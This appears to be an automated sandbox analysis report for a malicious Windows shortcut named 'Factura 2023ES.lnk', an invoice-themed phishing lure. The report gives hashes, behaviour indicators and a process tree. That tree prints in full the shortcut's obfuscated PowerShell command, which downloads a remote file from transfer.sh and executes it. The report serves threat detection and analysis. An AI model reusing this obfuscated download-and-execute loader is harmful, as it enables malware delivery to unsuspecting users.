d1c5a092545dcf35a98d86f5a1886e24d6e872b36369fda4c1edcf948451d1be

Analysis

max time kernel
31s
max time network
33s
platform
windows7_x64
resource
win7-20230220-en
resource tags

arch:x64arch:x86image:win7-20230220-enlocale:en-usos:windows7-x64system
submitted
06/03/2023, 10:29

Target

Factura 2023ES.lnk
Size

1KB
MD5

2938fdec9b9ba2f6e1130ff5ec609e32
SHA1

b11608fdcf8a6936dfbc705a245b24baa2df9761
SHA256

d1c5a092545dcf35a98d86f5a1886e24d6e872b36369fda4c1edcf948451d1be
SHA512

78b54c150a924beb2e8cb607ccf56a18102fe5e7696a6dc3da87be280a607ff3790bd93a3e31f8b02050a6870d69010f17f9767bf470d24f1b35110ec314d81b

Score

3^/10

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
1104	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	1104	powershell.exe

Suspicious use of WriteProcessMemory 3 IoCs

description	pid	Process	procid_target
PID 928 wrote to memory of 1104	928	cmd.exe	29
PID 928 wrote to memory of 1104	928	cmd.exe	29
PID 928 wrote to memory of 1104	928	cmd.exe	29

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\Factura 2023ES.lnk"
1⤵
- Suspicious use of WriteProcessMemory
PID:928
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" ${.*} = $PSHOME[+22 -24 +2] + $PSHOME[-12 +3] + 'a' + $PSHOME[-66 +55];${g^4} = $([TYPE]${.*});${.**} = ${g^4}::ToString(+79 -1 -5);${.**..} = ${g^4}::ToString(+79 -1 -5 -4);${..***} = ${g^4}::ToString(+79 +30 -10 +21);&(${.**} +${.**..} + ${..***})(&(${.**} +${.**..} + ${..***})($PSHOME[+52 -53 +1]+'u'+$PSHOME[-66 +55]+$PSHOME[-61 +55]+' https://transfer.sh/get/3AyJAF/renamethis.txt -UseBasicParsing')).Content
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1104

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

memory/1104-92-0x000000001B330000-0x000000001B612000-memory.dmp

Filesize
2.9MB

Download
memory/1104-93-0x0000000002350000-0x0000000002358000-memory.dmp

Filesize
32KB

Download
memory/1104-94-0x0000000002400000-0x0000000002480000-memory.dmp

Filesize
512KB

Download
memory/1104-95-0x0000000002400000-0x0000000002480000-memory.dmp

Filesize
512KB

Download
memory/1104-96-0x0000000002400000-0x0000000002480000-memory.dmp

Filesize
512KB

Download
memory/1104-97-0x0000000002400000-0x0000000002480000-memory.dmp

Filesize
512KB

Download